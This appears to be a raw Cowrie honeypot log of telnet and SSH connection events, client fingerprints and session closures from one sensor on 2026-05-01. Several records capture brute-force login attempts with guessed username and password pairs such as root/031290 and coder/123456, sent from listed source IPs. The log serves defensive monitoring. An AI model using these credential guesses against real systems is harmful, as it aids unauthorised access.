{"eventid":"cowrie.session.connect","src_ip":"5.189.178.126","src_port":52976,"dst_ip":"10.17.0.5","dst_port":23,"session":"78fd0c621904","protocol":"telnet","message":"New connection: 5.189.178.126:52976 (10.17.0.5:23) [session: 78fd0c621904]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:19.069417Z"}
{"eventid":"cowrie.session.closed","duration":32.84544587135315,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:19.410064Z","src_ip":"213.136.75.179","session":"ccad3a012a10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.191022396087646,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:20.199071Z","src_ip":"213.136.75.179","session":"4a395a514924","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.178.126","src_port":52982,"dst_ip":"10.17.0.5","dst_port":23,"session":"d415a3a69d64","protocol":"telnet","message":"New connection: 5.189.178.126:52982 (10.17.0.5:23) [session: d415a3a69d64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:20.301775Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.117.234.131","src_port":45920,"dst_ip":"10.17.0.5","dst_port":23,"session":"5bb698851afa","protocol":"telnet","message":"New connection: 155.117.234.131:45920 (10.17.0.5:23) [session: 5bb698851afa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:20.779541Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":52024,"dst_ip":"159.203.135.109","dst_port":23,"session":"82067e60b7f5","protocol":"telnet","message":"New connection: 159.223.86.167:52024 (159.203.135.109:23) [session: 82067e60b7f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:20.783831Z"}
{"eventid":"cowrie.session.closed","duration":31.31200361251831,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:21.951077Z","src_ip":"213.136.75.179","session":"dc3d604df688","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.115","src_port":54860,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca7cfec39d37","protocol":"ssh","message":"New connection: 103.176.20.115:54860 (10.17.0.5:22) [session: ca7cfec39d37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:22.102014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:22.107108Z","src_ip":"103.176.20.115","session":"ca7cfec39d37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:22.351654Z","src_ip":"103.176.20.115","session":"ca7cfec39d37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.029521465301514,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:23.049772Z","src_ip":"23.254.167.244","session":"0711aee7195c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"031290","message":"login attempt [root/031290] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:23.360494Z","src_ip":"103.176.20.115","session":"ca7cfec39d37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":50840,"dst_ip":"10.17.0.5","dst_port":22,"session":"a54b3f6cd3c0","protocol":"ssh","message":"New connection: 176.65.139.103:50840 (10.17.0.5:22) [session: a54b3f6cd3c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:23.372447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:23.377958Z","src_ip":"176.65.139.103","session":"a54b3f6cd3c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.34788799285889,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:23.394527Z","src_ip":"213.136.75.179","session":"bf5fc5aeebb9","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:23.463573Z","src_ip":"176.65.139.103","session":"a54b3f6cd3c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.13979172706604,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:23.627895Z","src_ip":"170.245.84.135","session":"72a7ee0bffb9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.32547688484192,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:23.699513Z","src_ip":"213.136.75.179","session":"0cde4918c193","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.767757177352905,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:23.785422Z","src_ip":"213.136.75.179","session":"af9a2f3428b3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"123abc456","message":"login attempt [root/123abc456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:23.832405Z","src_ip":"176.65.139.103","session":"a54b3f6cd3c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:24.607660Z","src_ip":"103.176.20.115","session":"ca7cfec39d37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.594237565994263,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:24.622401Z","src_ip":"213.136.75.179","session":"07991c0835cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":42044,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c0095639139","protocol":"telnet","message":"New connection: 213.136.75.179:42044 (10.17.0.5:23) [session: 3c0095639139]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:24.687781Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":42060,"dst_ip":"10.17.0.5","dst_port":23,"session":"de7c010d2fb4","protocol":"telnet","message":"New connection: 213.136.75.179:42060 (10.17.0.5:23) [session: de7c010d2fb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:24.728030Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:24.995601Z","src_ip":"176.65.139.103","session":"a54b3f6cd3c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.178.126","src_port":51948,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb7f0ef0ece8","protocol":"telnet","message":"New connection: 5.189.178.126:51948 (10.17.0.5:23) [session: bb7f0ef0ece8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:25.257996Z"}
{"eventid":"cowrie.session.closed","duration":33.656036615371704,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:26.208066Z","src_ip":"213.136.75.179","session":"ee07d6915f88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.324862480163574,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:27.289155Z","src_ip":"5.189.178.126","session":"b2aa3b913006","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.361138343811035,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:27.572398Z","src_ip":"213.136.75.179","session":"169b4c7e2e1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.33859372138977,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:27.763194Z","src_ip":"213.136.75.179","session":"5a7ff70120ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.9056715965271,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:27.897446Z","src_ip":"213.136.75.179","session":"da6686c4bde2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":54562,"dst_ip":"159.203.135.109","dst_port":23,"session":"2cb346d075a6","protocol":"telnet","message":"New connection: 159.223.86.167:54562 (159.203.135.109:23) [session: 2cb346d075a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:28.297132Z"}
{"eventid":"cowrie.session.closed","duration":33.35483741760254,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:28.386941Z","src_ip":"213.136.75.179","session":"ad3a7010585b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.95778822898865,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:28.567305Z","src_ip":"213.136.75.179","session":"2d3a950ef274","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.867838144302368,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:28.716604Z","src_ip":"213.136.75.179","session":"062236fbbba4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.04272437095642,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:29.059303Z","src_ip":"213.136.75.179","session":"b580856d287a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":49582,"dst_ip":"10.17.0.5","dst_port":23,"session":"6501c9409375","protocol":"telnet","message":"New connection: 213.136.75.179:49582 (10.17.0.5:23) [session: 6501c9409375]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:29.077958Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":49596,"dst_ip":"10.17.0.5","dst_port":23,"session":"efc5225a4fa1","protocol":"telnet","message":"New connection: 213.136.75.179:49596 (10.17.0.5:23) [session: efc5225a4fa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:29.291293Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":49598,"dst_ip":"10.17.0.5","dst_port":23,"session":"2bdbd1c8d224","protocol":"telnet","message":"New connection: 213.136.75.179:49598 (10.17.0.5:23) [session: 2bdbd1c8d224]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:29.305727Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":49608,"dst_ip":"10.17.0.5","dst_port":23,"session":"c83be75bcf27","protocol":"telnet","message":"New connection: 213.136.75.179:49608 (10.17.0.5:23) [session: c83be75bcf27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:29.452485Z"}
{"eventid":"cowrie.session.closed","duration":36.59869837760925,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:29.535452Z","src_ip":"213.136.75.179","session":"7819af4dfaa4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.518349170684814,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:29.615141Z","src_ip":"213.136.75.179","session":"9657c05df414","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.909151554107666,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:29.633968Z","src_ip":"213.136.75.179","session":"1a94207f31ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.16914701461792,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:30.037848Z","src_ip":"213.136.75.179","session":"8a75e0f9d6af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":50854,"dst_ip":"10.17.0.5","dst_port":22,"session":"1399d6069276","protocol":"ssh","message":"New connection: 176.65.139.103:50854 (10.17.0.5:22) [session: 1399d6069276]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:30.157742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:30.163680Z","src_ip":"176.65.139.103","session":"1399d6069276","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:30.245718Z","src_ip":"176.65.139.103","session":"1399d6069276","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"coder","password":"123456","message":"login attempt [coder/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:30.507169Z","src_ip":"176.65.139.103","session":"1399d6069276","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.12041926383972,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:30.638770Z","src_ip":"213.136.75.179","session":"50e9f6866b17","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:31.598902Z","src_ip":"176.65.139.103","session":"1399d6069276","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.24153470993042,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:31.688769Z","src_ip":"213.136.75.179","session":"40edf9bfe651","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.114683389663696,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:31.849453Z","src_ip":"213.136.75.179","session":"6929fd055b58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.06618571281433,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:33.916218Z","src_ip":"213.136.75.179","session":"fafc104b1105","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":49622,"dst_ip":"10.17.0.5","dst_port":23,"session":"21700c295678","protocol":"telnet","message":"New connection: 213.136.75.179:49622 (10.17.0.5:23) [session: 21700c295678]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:34.074056Z"}
{"eventid":"cowrie.session.closed","duration":31.987183332443237,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:34.078630Z","src_ip":"213.136.75.179","session":"1f076c5a33ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":49628,"dst_ip":"10.17.0.5","dst_port":23,"session":"e92f49968bd0","protocol":"telnet","message":"New connection: 213.136.75.179:49628 (10.17.0.5:23) [session: e92f49968bd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:34.474618Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":57692,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c84f3324ddb","protocol":"telnet","message":"New connection: 23.254.167.244:57692 (159.203.135.109:23) [session: 5c84f3324ddb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:35.221961Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.178.126","src_port":40144,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5b7ea9ac751","protocol":"telnet","message":"New connection: 5.189.178.126:40144 (10.17.0.5:23) [session: c5b7ea9ac751]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:36.251175Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":51398,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3a91e1ac336","protocol":"ssh","message":"New connection: 176.65.139.103:51398 (10.17.0.5:22) [session: f3a91e1ac336]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:37.006586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:37.012024Z","src_ip":"176.65.139.103","session":"f3a91e1ac336","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:37.118532Z","src_ip":"176.65.139.103","session":"f3a91e1ac336","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elsearch","password":"elsearch","message":"login attempt [elsearch/elsearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:37.410612Z","src_ip":"176.65.139.103","session":"f3a91e1ac336","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":47568,"dst_ip":"10.17.0.5","dst_port":23,"session":"c710b0830e16","protocol":"telnet","message":"New connection: 213.136.75.179:47568 (10.17.0.5:23) [session: c710b0830e16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:37.627312Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":47574,"dst_ip":"10.17.0.5","dst_port":23,"session":"4da685081a23","protocol":"telnet","message":"New connection: 213.136.75.179:47574 (10.17.0.5:23) [session: 4da685081a23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:36:37.642062Z"}
